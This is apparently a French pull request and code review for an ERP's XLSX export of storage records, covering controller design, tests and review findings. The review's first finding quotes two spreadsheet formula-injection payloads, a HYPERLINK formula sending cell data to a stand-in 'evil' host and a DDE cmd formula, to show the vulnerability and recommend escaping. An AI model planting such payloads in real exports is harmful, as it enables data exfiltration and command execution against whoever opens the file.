feat(catalog) : M7 — export XLSX des stockages (ERP-214) #166
Reference in New Issue
Block a user
Delete Branch "feat/erp-214-storage-export-xlsx"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
M7 · ERP-214 (1.5) — Export XLSX des stockages
Exporte toute la liste des stockages en XLSX, filtres actifs appliqués. Pattern miroir
ProductExportController(ERP-202).Livré
StorageExportController—GET /api/storages/export.xlsx, controller custom#[AsController]avecpriority: 1(sinon API Platform capterait l'URL comme l'item{id}.{_format}). Sécuritéis_granted('catalog.storages.view').StorageRepositoryInterface::createListQueryBuilder()— l'export reflète exactement la vue liste. Soft-deleted exclus (RG-7.07).?search=(numero),?siteId[]=,?storageTypeId=,?state=(mêmes lecteurs queStorageProvider).displayName), Site (« Nom (Code) »), Type de stockage (label), Numéro, États (Réception/Production/Triage joints, ordre canonique), Créé le, Modifié le.SpreadsheetExporterInterface(réutilisé, M6).StorageExportControllerTest(8 cas).Note — pas d'entrée
CollectionsArePaginatedTest::EXCLUDEDLe prompt suggérait de whitelister. Mais ce test ne scanne que les classes
#[ApiResource]; un controller custom n'en est pas un (la whitelist est d'ailleurs vide etProductExportControllern'y figure pas). En miroir de l'export produit, aucune entréeEXCLUDEDn'est nécessaire — le garde-fou reste vert tel quel.Vérifications
StorageExportControllerTest(8 tests, 50 assertions) : 200 +Content-TypeXLSX +Content-Disposition(stockages-AAAAMMJJ.xlsx) + ligne d'en-têtes ; exclusion soft-delete ; filtres?search/?storageTypeId/?staterespectés ; colonnes métier peuplées (displayName, site « Nom (Code) », type, numéro, états joints, datesjj/mm/aaaa hh:mm) ; 403 sanscatalog.storages.view; 401 anonyme.make test:CollectionsArePaginatedTestvert ; module Catalog complet 131/131 sur run propre (un run intermédiaire a montré 2× le flaky JWT 401 — disparu au re-run).make php-cs-fixer-allow-risky: clean.Revue de code — M7 Stockages
🔴 Injection de formules XLSX (CSV/DDE) —
StorageExportController→PhpSpreadsheetExporter::exportLes valeurs
numero/displayName(saisies utilisateur, non restreintes en charset) sont écrites viaSheet::fromArray(), qui passe par leDefaultValueBinder: une cellule commençant par=+-@est interprétée comme formule. Unnumero==HYPERLINK("http://evil/?x="&A1)ou=cmd|'/c calc'!A1s'exécute à l'ouverture du fichier par un autre admin (exfiltration / DDE).⚠️ Infra partagée :
ProductExportControllerest exposé de la même façon. → Neutraliser dansPhpSpreadsheetExporter(setValueExplicit(TYPE_STRING)ou préfixe'sur les cellules à risque) — correctif au bon niveau qui couvre les deux exports.🟠 Export divergent du listing pour
?search=0—StorageExportController(lecture des filtres)$request->query->getString('search') ?: nullcoerce la chaîne"0"(unnumeroVARCHAR valide) ennull; le provider (readSearch) garde"0". Liste filtrée à l'écran, export complet dans le XLSX → contredit le contrat « l'export reflète ce que l'utilisateur voit ».🟠 Export 400 sur paramètre tableau — même bloc
getString('search')lève uneBadRequestExceptionsur?search[]=x; le provider tolère (is_string/is_array). Un lien mal formé casse l'export mais pas la liste.→ Les trois points ci-dessus (+
siteId=0/storageTypeId=0côté provider) ont la même racine : double parsing des filtres. Factoriser unStorageListFilterspartagé provider ↔ export.🟡 Export non borné / non streamé —
__invokecreateListQueryBuilder(...)->getQuery()->getResult()matérialise tout le résultat filtré (entités + jointures site/type) en mémoire — pas desetMaxResults, pas detoIterable()+em->clear(). Sans filtre sur grosse table : risque OOM / timeout (même échappatoire via?pagination=false). Le générateurbuildRows()n'apporte rien tant que sa source est déjà matérialisée.